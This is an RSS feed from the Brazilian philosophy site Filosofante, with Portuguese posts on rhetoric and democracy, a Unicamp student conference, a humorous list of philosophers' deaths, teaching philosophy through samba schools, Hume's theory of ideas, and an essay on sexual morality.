<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Filosofante &#187; Filosofia</title>
	<atom:link href="http://www.filosofante.com.br/?feed=rss2&#038;tag=filosofia" rel="self" type="application/rss+xml" />
	<link>http://www.filosofante.com.br</link>
	<description>Res Cogitans...</description>
	<lastBuildDate>Mon, 18 Jun 2012 11:35:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Filosofia, retórica e democracia</title>
		<link>http://www.filosofante.com.br/?p=530</link>
		<comments>http://www.filosofante.com.br/?p=530#comments</comments>
		<pubDate>Wed, 01 Jul 2009 15:00:42 +0000</pubDate>
		<dc:creator>Elizabeth</dc:creator>
				<category><![CDATA[Artigo]]></category>
		<category><![CDATA[democracia]]></category>
		<category><![CDATA[Filosofia]]></category>
		<category><![CDATA[retórica]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=530</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;A compreensão de cada um destes conceitos e sua inter-relação torna-se fundamental para uma compreensão aprofundada da temática em questão.
&#160;&#160;&#160;&#160;&#160;&#160;A Filosofia como amor ao saber e investigação reflexiva crítica aprofundada está intimamente relacionada com a questão da linguagem, não só porque é por intermédio da linguagem que construímos o nosso pensamento e o exprimimos, mas <a href="http://www.filosofante.com.br/?p=530" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A compreensão de cada um destes conceitos e sua inter-relação torna-se fundamental para uma compreensão aprofundada da temática em questão.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A Filosofia como amor ao saber e investigação reflexiva crítica aprofundada está intimamente relacionada com a questão da linguagem, não só porque é por intermédio da linguagem que construímos o nosso pensamento e o exprimimos, mas também porque através da linguagem o comunicamos aos outros, possibilitando deste modo a posição reflexiva crítica própria da filosofia, nomeadamente no que respeita à capacidade de argumentar para defender as nossas perspectivas, ideias, pontos de vista, com base na capacidade de uma fundamentação crítica das  mesmas.<br />
<span id="more-530"></span><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sendo a retórica a arte de bem falar e de bem argumentar torna-se evidente a compreensão da importância da retórica na sua ligação à investigação filosófica.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;É o modo como a retórica é utilizada e o uso que dela se faz que determinam o enquadramento desta, não só em relação com a filosofia e a prática filosófica do diálogo, mas também com o seu bom ou mau uso, tendo como plano de fundo o contraste ou divergência entre os sofistas e os filósofos, sendo de particular relevância o estudo de Platão, acerca do modo como o diálogo e o discurso que o estrutura se constrói e apresenta enquanto expressão da procura da verdade, ou pelo contrário, como forma de manipulação que conduz ao engano, ao cepticismo e ao relativismo tão característico da posição sofística.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No século V.a.C em Atenas, no auge da democracia ateniense, os sofistas são os grandes especialistas na arte da retórica e o papel que desempenham na formação de oradores especialistas na arte de falar eloquentemente, de forma persuasiva e convincente, ensinando as técnicas discursivas que permitem a quem tem ambições políticas de alcançar o poder através do voto, utilizar o extraordinário poder da palavra para obter a adesão dos espíritos dos seus concidadãos, torna os sofistas na democracia emergente actores fundamentais na cena política..</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No tribunal, na assembleia ou no espaço público onde o voto de cada cidadão livre é essencial na disputa política pela conquista dos espíritos, a arte de argumentar torna-se  fundamental e decisiva na conquista do poder: aqueles que têm ambições políticas procuram então os sofistas para serem os seus professores de retórica, que mediante uma remuneração pelas lições que ministravam ensinavam os orador a obter por intermédio da palavra o poder ascendente que lhes permitia a adesão dos espíritos às suas propostas.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A este uso da retórica que se entrelaça com a manipulação das crenças, valores e autenticidade, tornando a consciência dos cidadãos vulneráveis à prática de um discurso demagógico, opõe-se a filosofia pela sua preocupação com um outro uso da retórica, totalmente oposto ao dos sofistas pela sua única e exclusiva preocupação com a Verdade e como a retórica pode por intermédio do raciocínio, da linguagem e do discurso, levar à sua investigação e permitir ao espírito elevar-se dos abismos da ignorância às alturas da sabedoria.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Este uso filosófico da retórica preocupava-se com o aperfeiçoamento ético e ontológico dos seres humanos e visava a busca da virtude como ideal ético-moral a alcançar pela pesquisa da Verdade e da autenticidade do Ser.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Para que tal procedimento se tornasse possível a dialéctica desempenha um papel fundamental e é definida por Platão no Livro VII, 533 -cd da República, do seguinte modo: o método “ que procede por meio da destruição das hipóteses, a caminho do autêntico princípio, a fim de tornar seguros os seus resultados, e que realmente arrasta aos poucos os olhos da alma da espécie de lodo bárbaro em que está atolada e eleva-os às alturas.”</p>
<p><center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<span style="color:#006600;"><b>Elizabeth Carvalho de Moraes</b></span><br />
Primeiro Período de Filosofia</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=530</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Theoria &#8211; Revista Eletrônica de Filosofia</title>
		<link>http://www.filosofante.com.br/?p=515</link>
		<comments>http://www.filosofante.com.br/?p=515#comments</comments>
		<pubDate>Mon, 11 May 2009 01:50:07 +0000</pubDate>
		<dc:creator>Bill</dc:creator>
				<category><![CDATA[Revista Theoria]]></category>
		<category><![CDATA[Eletrônica]]></category>
		<category><![CDATA[Filosofia]]></category>
		<category><![CDATA[Revista]]></category>
		<category><![CDATA[Theoria]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=515</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><center><a href="http://www.theoria.com.br/" title="Confira..." target="_blank"><img src='http://www.filosofante.com.br/v1/wp-content/img/capat.jpg' /></a></center></p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=515</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>XIII Encontro de Pesquisa na Graduação em Filosofia da Unicamp</title>
		<link>http://www.filosofante.com.br/?p=512</link>
		<comments>http://www.filosofante.com.br/?p=512#comments</comments>
		<pubDate>Mon, 11 May 2009 01:32:43 +0000</pubDate>
		<dc:creator>Bill</dc:creator>
				<category><![CDATA[Notícias]]></category>
		<category><![CDATA[Filosofia]]></category>
		<category><![CDATA[Graduação]]></category>
		<category><![CDATA[Unicamp]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=512</guid>
		<description><![CDATA[De 14 a 18 de setembro de 2009
Edital
I. Exposição de Trabalhos
1. A participação é aberta aos estudantes devidamente matriculados em um curso presencial de graduação em Filosofia e que estejam desenvolvendo pesquisa sob a orientação de um professor da área.
2. Os expositores devem estar cursando, pelo menos, o terceiro semestre da graduação.
3. Não serão aceitos <a href="http://www.filosofante.com.br/?p=512" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p><span style="color:#006600;"><b>De 14 a 18 de setembro de 2009</b></span></p>
<p><b>Edital</b></p>
<p><b>I. Exposição de Trabalhos</b><br />
1. A participação é aberta aos estudantes devidamente matriculados em um curso presencial de graduação em Filosofia e que estejam desenvolvendo pesquisa sob a orientação de um professor da área.<br />
2. Os expositores devem estar cursando, pelo menos, o terceiro semestre da graduação.<br />
3. Não serão aceitos trabalhos de estudantes já graduados.<br />
4. O tempo máximo de exposição é de 20 minutos, seguidos de 10 minutos para debates e perguntas.<br />
5. Serão conferidos certificados de participação a cada expositor. O certificado será entregue logo após a mesa de comunicação.<br />
6. Será aceito somente 01(um) trabalho por expositor.<br />
7. A divulgação dos trabalhos selecionados será feita em julho.</p>
<p><b>II. Ouvintes</b><br />
1. A participação como ouvinte é aberta a toda a comunidade.<br />
2. Será conferida certificação àqueles que cumprirem a carga de, pelo menos, 70% da total do evento. O certificado será entregue no encerramento do Encontro.</p>
<p><b>III. Datas</b><br />
1. Inscrições para apresentação de trabalho: 01 de abril a 05 de junho<br />
2. Inscrições para ouvintes: 01 de abril a 14 de setembro<br />
3. Período do evento: de 14 a 18 de setembro</p>
<p><b>IV. Inscrição</b><br />
1. A ficha de inscrição está disponível no site do Evento: http://epgfilounicamp.blogspot.com/2009/04/ficha-de-inscricao.html<br />
2. A ficha deve ser devidamente preenchida e enviada para o e-mail epgfilounicamp@gmail.com, respeitando as datas indicadas neste edital. (Favor indicar no campo assunto o título “INSCRIÇÃO”)</p>
<p><b>V. Alojamento – “Hospedagem Solidária”</b><br />
1. A comissão organizadora entrará em contato com estudantes locais a fim de que estes disponibilizem suas residências para receber os participantes do encontro durante o período do evento.<br />
2. Todos os estudantes que desejarem participar da “hospedagem solidária” devem efetuar a sua inscrição até o dia 05 de junho.</p>
<p>Mais informações no site: <a href="http://www.epgfilounicamp.blogspot.com" title="Confira..." target="_blank">http://www.epgfilounicamp.blogspot.com<br />
</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=512</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Filosofia é de matar!</title>
		<link>http://www.filosofante.com.br/?p=496</link>
		<comments>http://www.filosofante.com.br/?p=496#comments</comments>
		<pubDate>Thu, 26 Mar 2009 18:15:26 +0000</pubDate>
		<dc:creator>Bill</dc:creator>
				<category><![CDATA[Filosofia]]></category>
		<category><![CDATA[Filosofos]]></category>
		<category><![CDATA[Mortes]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=496</guid>
		<description><![CDATA[Confira como foi a morte de vários filósofos.

Tales: Afogamento (água perigosa!)
Parmênides: Descobriu que era o não-ser
Ockham: Cortou-se com navalha ao fazer a barba
Descartes: Parou de pensar
Espinosa: Abusou da substância
Leibniz: Monadanucleose
Darwin: Acabou vencido na seleção natural
Hume: Convenceu-se de que não tinha causa e apenas existia por hábito
Kant: Não resistiu a uma crítica a seu respeito
Heidegger: Enquanto <a href="http://www.filosofante.com.br/?p=496" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>Confira como foi a morte de vários filósofos.<br />
<center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<strong>Tales:</strong> Afogamento (água perigosa!)<br />
<strong>Parmênides:</strong> Descobriu que era o não-ser<br />
<strong>Ockham:</strong> Cortou-se com navalha ao fazer a barba<br />
<strong>Descartes:</strong> Parou de pensar<br />
<strong>Espinosa:</strong> Abusou da substância<br />
<strong>Leibniz:</strong> Monadanucleose<br />
<strong>Darwin:</strong> Acabou vencido na seleção natural<br />
<strong>Hume:</strong> Convenceu-se de que não tinha causa e apenas existia por hábito<br />
<strong>Kant:</strong> Não resistiu a uma crítica a seu respeito<br />
<strong>Heidegger:</strong> Enquanto Dasein, chegou à impossibilidade de todas as possibilidades<br />
<strong>Sartre:</strong> Por Náusea<br />
<strong>Pascal:</strong> Ficou abatido depois de perder uma aposta<br />
<strong>Wittgenstein:</strong> Tentou ver se a morte era uma experiência que se possa viver (alternativa: caiu de uma escada)<br />
<strong>Hegel:</strong> Colisão com uma coruja ao anoitecer </p>
<p><span style="color:#009900"><strong>E a esta seleta lista podemos acrescentar mais estes outros: </strong></span></p>
<p><strong>Anaxágoras:</strong> Falta de ar<br />
<strong>Heráclito:</strong> Efeito do devir<br />
<strong>James:</strong> Quis acreditar que estava morto<br />
<strong>Platão:</strong> Ficou sem Ideias<br />
<strong>Aristóteles:</strong> Lógico, dado que antes estava vivo<br />
Tomás de Aquino: Perdeu-se nas Cinco Vias<br />
<strong>Berkeley:</strong> Deus esqueceu-se dele<br />
<strong>Kierkegaard:</strong> Por temor do tremor<br />
<strong>Agostinho:</strong> Ficou sem tempo<br />
<strong>Sócrates:</strong> A discussão chegou-lhe ao fim<br />
<strong>Hobbes:</strong> Foi devorado pelo Leviatã </p>
<p><span style="color:#009900"><strong>Ainda há que acrescentar:</strong></span>   </p>
<p><strong>Thomas More:</strong> não morreu no não-país em que a não-morte era não-morrer<br />
<strong>Maquiavel:</strong> foi derrotado pela princesa mais temida que amada<br />
<strong>Santo Anselmo:</strong> imaginou que estava morto e morreu<br />
<strong>Marx:</strong> os seus próprios revolucionários revoltaram-se contra a sua revolução<br />
<strong>Rousseau:</strong> foi morto por um bom selvagem, enquanto assinava um contrato social<br />
<strong>Montesquieu:</strong> foi executado por uma interpretação legislativa do judiciário<br />
<strong>Empédocles:</strong> suas homeomerias passaram a ser as homeomerias das minhocas<br />
<strong>Demócrito:</strong> morto por uma bomba atômica<br />
<strong>Chardin:</strong> foi absorvido pelo Cristo Cósmico<br />
<strong>Nietzsche:</strong> pulou da janela achando que era o “super-homem”<br />
<strong>Bacon:</strong> foi fritado </p>
<p>(Texto organizado a partir de elementos retirados do site <a href="http://www.criticanarede.com" title="Confira" target="_blank">Critica Na Rede</a> e de contribuições de outros autores amantes da sabedoria).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=496</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Um grande jogo</title>
		<link>http://www.filosofante.com.br/?p=480</link>
		<comments>http://www.filosofante.com.br/?p=480#comments</comments>
		<pubDate>Sat, 28 Feb 2009 02:36:00 +0000</pubDate>
		<dc:creator>Bill</dc:creator>
				<category><![CDATA[Filosofia]]></category>
		<category><![CDATA[Aristóteles]]></category>
		<category><![CDATA[Basquete]]></category>
		<category><![CDATA[jogo]]></category>
		<category><![CDATA[Platão]]></category>
		<category><![CDATA[Rafael di Sanzio]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=480</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><center><img src='http://www.filosofante.com.br/v1/wp-content/img/bask.jpg' /></center></p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=480</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Quarta-feira de cinzas</title>
		<link>http://www.filosofante.com.br/?p=333</link>
		<comments>http://www.filosofante.com.br/?p=333#comments</comments>
		<pubDate>Wed, 25 Feb 2009 13:00:49 +0000</pubDate>
		<dc:creator>Mauricio</dc:creator>
				<category><![CDATA[Filosofia]]></category>
		<category><![CDATA[Facapa]]></category>
		<category><![CDATA[Jornada de Filosofia]]></category>
		<category><![CDATA[Mauricio Almeida]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=333</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;Você já parou para pensar por que escola de samba se chama escola de samba? Se é escola, é por que ensina algo; mas ensina o quê? Samba? Como diria Nelson Rodrigues, isto é o óbvio ululante. Mas é só isso que a escola de samba ensina? Ou ensina também uma ética, uma estética e <a href="http://www.filosofante.com.br/?p=333" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Você já parou para pensar por que escola de samba se chama escola de samba? Se é escola, é por que ensina algo; mas ensina o quê? Samba? Como diria Nelson Rodrigues, isto é o óbvio ululante. Mas é só isso que a escola de samba ensina? Ou ensina também uma ética, uma estética e uma identidade comunitária? Um modo de compreender a polis, de se posicionar e agir em relação a ela, modificando-a? Penso que isso e mais alguma coisa. Ensina a diferença entre ensinar samba e ensinar a sambar; o que nos conduz à clássica pergunta, agora dirigida à nossa própria escola: ensinar filosofia ou ensinar a filosofar.<br />
<span id="more-333"></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A propósito  de escolas de samba e de escolas de filosofia, tracemos um outro paralelo. Uma vez por ano as escolas de samba realizam a sua virtude, a sua excelência; o seu desfile de carnaval, a expressão máxima de seu Ser no seio da polis. Outrossim, nós, enquanto comunidade escolar, acabamos de vivenciar este mesmo momentum, durante a realização de nossa III Jornada de Filosofia, janela que se abre para participação da comunidade e na comunidade. Espaço de reflexão e discussão, oportunidade de excelência que procuramos aproveitar agora, e mais a cada vez. O que me remete ao título dessa reflexão. No apagar das luzes, em plena quarta-feira de cinzas, começa a nascer o próximo desfile de carnaval. Durante um ano inteiro ele é vivido; na escolha do enredo, na preparação de alegorias e fantasias, nos ensaios de quadra, onde o samba é aprendido e testado, ou seja, é todo um processo que exercita aquela virtude que culminará no próximo desfile. Pensamos (digo pensamos por que compartilho o pensamento com outros colegas) que a exemplo das escolas de samba também podemos viver o nosso próximo &#8220;desfile&#8221; desde já, começando pela escolha de um tema que envolva e provoque a participação da comunidade, não só no momento final da <i>IV Jornada de Filosofia da FACAPA</i>, mas durante todo o processo de preparação, em que a escola pode transpor seus muros e atuar diretamente na polis, em um esforço de investigação, compreensão e participação. Seriam os nossos &#8220;ensaios de quadra&#8221;. Poderíamos com tempo suficiente, planejamento adequado e o esforço conjunto de corpo docente e corpo discente, buscar recursos para trazer palestrantes de projeção ligados ao tema em questão, preparar uma estrutura formal e física que facilite e incentive o acesso e a participação de quem se interessa pelo evento, propor  formas de interação que criem um espaço de exposição e discussão de outros setores da comunidade que não a nossa. Enfim, assim como as escolas de samba, que lotam as arquibancadas de pessoas que lá estão para sambar e cantar, podemos também encher as nossas salas de cidadãos no exercício de pensarem a si mesmos e o mundo em que vivem.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Veja bem, não cabe aqui uma crítica ao que já foi realizado, antes cumpre-me demonstrar meu interesse por algo que considero excelente e para o qual desejo mobilizar o máximo de minha energia, para que o todo alcance o melhor resultado possível, porém, o que aqui foi posto, são apenas conjecturas, e como tal devem ser tratadas e discutidas, se for o caso. Por isso aproveito-me deste espaço, que é antes de tudo um espaço de diálogo, para lançar estas idéias e convidar quem se interessa, a discuti-las.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Antes porém, de encerrar, gostaria de sugerir uma proposta de discussão de tema para a nossa próxima jornada; proposta essa que foi sugerida por alguns colegas e confesso acendeu meu interesse, pois creio, vá de encontro ao que foi exposto. A saber: a inter-relação  entre <strong>arte e filosofia</strong>. Primariamente por que a nossa cidade é um pólo de produção de arte, e principalmente por que a arte em si é uma forma natural de manifestação humana que não está restrito à mídia, o que nos permitiria tanto o mergulho quanto a captação do interesse coletivo levantados por essa reflexão.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A quem interessar possa&#8230;        </p>
<p><center><img src='http://www.filosofante.com.br/v1/wp-content/img/linha.gif' /></center><br />
<span style="color:#006600;"><b>Mauricio Almeida</b></span> &#8211; <b> 08/10/2008</b><br />
Segundo período de Filosofia</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=333</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>1º Turma de Filosofia 2008</title>
		<link>http://www.filosofante.com.br/?p=421</link>
		<comments>http://www.filosofante.com.br/?p=421#comments</comments>
		<pubDate>Fri, 19 Dec 2008 05:25:43 +0000</pubDate>
		<dc:creator>Bill</dc:creator>
				<category><![CDATA[Facapa]]></category>
		<category><![CDATA[Filosofia]]></category>
		<category><![CDATA[Formandos 2008]]></category>
		<category><![CDATA[Formatura]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=421</guid>
		<description><![CDATA[
Parabéns a todos os Formandos da 1º Turma de Filosofia da Faculdade Católica de Pouso Alegre..
A primeira de muitas turmas&#8230; Parabéns e muito sucesso.
]]></description>
			<content:encoded><![CDATA[<p><center><img src='http://i19.photobucket.com/albums/b185/billbr/DSC03251copy-1.jpg' /></center><br />
Parabéns a todos os Formandos da <strong>1º Turma de Filosofia da Faculdade Católica de Pouso Alegre.</strong>.<br />
A primeira de muitas turmas&#8230; Parabéns e muito sucesso.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=421</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hume e a origem das ideias</title>
		<link>http://www.filosofante.com.br/?p=414</link>
		<comments>http://www.filosofante.com.br/?p=414#comments</comments>
		<pubDate>Sat, 13 Dec 2008 21:41:46 +0000</pubDate>
		<dc:creator>Bill</dc:creator>
				<category><![CDATA[Filosofia]]></category>
		<category><![CDATA[Hume]]></category>
		<category><![CDATA[Nigel Warburton]]></category>
		<category><![CDATA[origem das ideias]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=414</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;&#160;Hume utiliza o termo &#8220;percepção&#8221; para referir quaisquer conteúdos da experiência (…). As percepções ocorrem quando o indivíduo observa, sente, recorda, imagina, e assim por diante, sendo que o uso atual da palavra cobre um leque muito menos vasto de atividades mentais. Para Hume, existem dois tipos básicos de percepções: impressões e idéias.
&#160;&#160;&#160;&#160;&#160;&#160;&#160;As impressões constituem <a href="http://www.filosofante.com.br/?p=414" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hume utiliza o termo &#8220;percepção&#8221; para referir quaisquer conteúdos da experiência (…). As percepções ocorrem quando o indivíduo observa, sente, recorda, imagina, e assim por diante, sendo que o uso atual da palavra cobre um leque muito menos vasto de atividades mentais. Para Hume, existem dois tipos básicos de percepções: impressões e idéias.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As impressões constituem as experiências obtidas quando o indi­víduo observa, sente, ama, odeia, deseja ou tem vontade de algo. Hume descreve este tipo de percepções como sendo mais &#8220;vívido&#8221; do que as idéias, termo com que o filósofo parece querer afirmar que as impres­sões são mais claras e mais pormenorizadas do que as idéias. As idéias, por sua vez, são cópias das impressões. Trata-se dos objetos do pen­samento humano quando os indivíduos recordam a sua experiência ou exercitam a sua imaginação.<br />
<span id="more-414"></span><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Assim sendo, neste preciso momento, por exemplo, tenho uma impressão da minha caneta a movimentar-se pela página e de ouvir alguém a virar as páginas de um livro, atrás de mim, na biblioteca. Tenho, ainda, uma impressão da textura do papel a tocar na minha mão. Estas experiências sensoriais são vívidas, visto que seria difícil conven­cer-me de que me encontro apenas a recordar experiências passadas ou a sonhar. Mais tarde, enquanto estiver a escrever estas linhas no meu computador, lembrar-me-ei, sem dúvida, deste momento e recordarei as minhas impressões. Nessa altura, estarei a ter idéias e não impres­sões, idéias que não serão marcadas pela mesma vividez (ou &#8220;vivaci­dade&#8221;, para usar a terminologia de Hume) que caracteriza as impres­sões sensoriais que estou a sentir neste momento e das quais as idéias serão cópias.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hume reformula a asserção de Locke de que não existem idéias inatas, sob a forma todas as idéias humanas são cópias de impres­sões. Por outras palavras, é impossível aos seres humanos ter uma idéia de algo que não tenha primeiro experimentado enquanto impressão.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Como lidaria, então, Hume com a capacidade de um indivíduo de imaginar uma montanha dourada embora nunca tenha visto uma e, logo, nunca tenha tido a impressão de uma? A resposta do filósofo baseia-se numa distinção entre idéias simples e complexas. As idéias simples derivam de impressões simples. Trata-se de idéias de coisas como a cor e a forma, idéias que não podem ser divididas em partes mais pequenas. As idéias complexas são combinações de idéias sim­ples. Deste modo, aquela idéia de uma montanha dourada nada mais é do que uma idéia complexa composta pelas idéias mais simples de &#8220;montanha&#8221; e de &#8220;dourado&#8221;. E estas idéias simples derivam, em últi­ma análise, da experiência tida pelo indivíduo de montanhas e de objetos dourados.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A comprovação da crença de que todas as idéias humanas derivam de impressões anteriores é constituída pela proposta de que qualquer destas idéias pode, por meio da reflexão, ser decomposta em partes que a enformam, que, como se poderá depois confirmar, resultam das impressões. Mais corroboração para esta explicação resulta da obser­vação de que um homem completamente cego de nascença seria inca­paz de imaginar a cor vermelha, uma vez que nunca tinha tido impres­sões visuais dessa cor. Similarmente, e de forma mais controversa, Hume declara que uma pessoa egoísta não seria capaz de formar uma idéia do sentimento de generosidade.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No entanto, embora Hume defenda que o seu aperfeiçoamento da teoria das idéias de Locke poderá explicar a origem de qualquer idéia em particular, o filósofo assinala a existência de uma exceção a este princípio, constituída pelo tom de azul desconhecido. Alguém que tenha observado um vasto leque de tons de azul, pode nunca ter tido a impressão de certo tom em particular. Não obstante, essa pessoa pode formar uma idéia deste tom de azul desconhecido. Segundo a teoria de Hume, tal seria impossível visto esse indivíduo não possuir qualquer impressão simples à qual pudesse corresponder a idéia dessa cor. Contudo, não se revela excessivamente preocupado com este apa­rente contra-exemplo, uma vez que se trata de uma situação demasia­do excepcional para o levar a redefinir os seus princípios básicos em função dela.</p>
<p><span style="color:#006600;">[<strong>Warburton, Nigel</strong> (2001). Grandes livros de filosofia. Lisboa: Edições 70, pp. 98-99.]</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.filosofante.com.br/?feed=rss2&amp;p=414</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Moral sadia</title>
		<link>http://www.filosofante.com.br/?p=362</link>
		<comments>http://www.filosofante.com.br/?p=362#comments</comments>
		<pubDate>Thu, 30 Oct 2008 04:02:41 +0000</pubDate>
		<dc:creator>Juliano</dc:creator>
				<category><![CDATA[Artigo]]></category>
		<category><![CDATA[Filosofia]]></category>
		<category><![CDATA[Moral sadia]]></category>
		<category><![CDATA[Vilém Flusser]]></category>

		<guid isPermaLink="false">http://www.filosofante.com.br/?p=362</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;&#160;O termo &#8220;moral&#8221;, que significa originalmente costume seguido pela maioria de uma dada sociedade, tem atualmente conotação embelezadora. &#8220;Imortal&#8221; não é um sujeito que se recusa a seguir determinados costumes, (por exemplo: usar gravata), mas um sujeito que comete atos feios. E muitas vezes tais atos têm a ver com o sexo. Isto porque os <a href="http://www.filosofante.com.br/?p=362" class="more-link">Mais &#62;</a>]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O termo &#8220;moral&#8221;, que significa originalmente costume seguido pela maioria de uma dada sociedade, tem atualmente conotação embelezadora. &#8220;Imortal&#8221; não é um sujeito que se recusa a seguir determinados costumes, (por exemplo: usar gravata), mas um sujeito que comete atos feios. E muitas vezes tais atos têm a ver com o sexo. Isto porque os costumes relativos ao sexo são os mais embelezados. O termo &#8220;saúde&#8221;, que significa originalmente &#8220;salvação&#8221;, passa a significar algo como &#8220;normalidade&#8221;. &#8220;Moral sadia&#8221; é, pois, atualmente o modelo para um comportamento, (principalmente sexual), que espelhe da maneira mais perfeita possível o comportamento normal da sociedade. É que o comportamento médio da sociedade é considerado ideal e norma.</p>
<p><span id="more-362"></span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A premissa atual do comportamento sexual &#8220;normal&#8221;, (isto é: normalizado), é esta: existem dois sexos, nitidamente separados um do outro, cada qual com seu papel na sociedade, e que tentem para se unirem e formarem pares permanentes. A premissa não se baseia em fatos observáveis, a observação diz isto: embora existam dois sexos, não são nitidamente separados. Em toda fêmea há elementos femininos. Os papéis sociais dos dois sexos são fluidos e mal definidos. Os dois sexos tendem não a penas a formarem pares permanentes, mas também pares transitórios, e grupos polígamos mais ou menos passageiros. Estes são os fatos observáveis.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A &#8220;moral sadia&#8221; escolhe entre os fatos os que devem ser, (os &#8220;sadios&#8221; e &#8220;sagrados&#8221;), e reprime os que não devem ser, (os &#8220;imortais&#8221; e &#8220;feios&#8221;). Com tal escolha, a moral normaliza os fatos e empobrece o repertório do comportamento. É esta a função da moral: servir de triagem. Mas, sendo obra humana, não funciona perfeitamente. Não consegue eliminar os fatos reprimidos. Consegue apenas deturpa-los.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Há atualmente, como se sabe, crise da moral sadia. Isto pode significar duas coisas. Pode significar que a peneira moral atual esta sendo substituída por outra, (possivelmente de buracos maiores). E pode significar que não haverá mais peneira. Em outros termos: ou transvaloração dos valores, ou desvaloração dos valores. Somente o futuro mostrará qual das duas alternativas será o caso.</p>
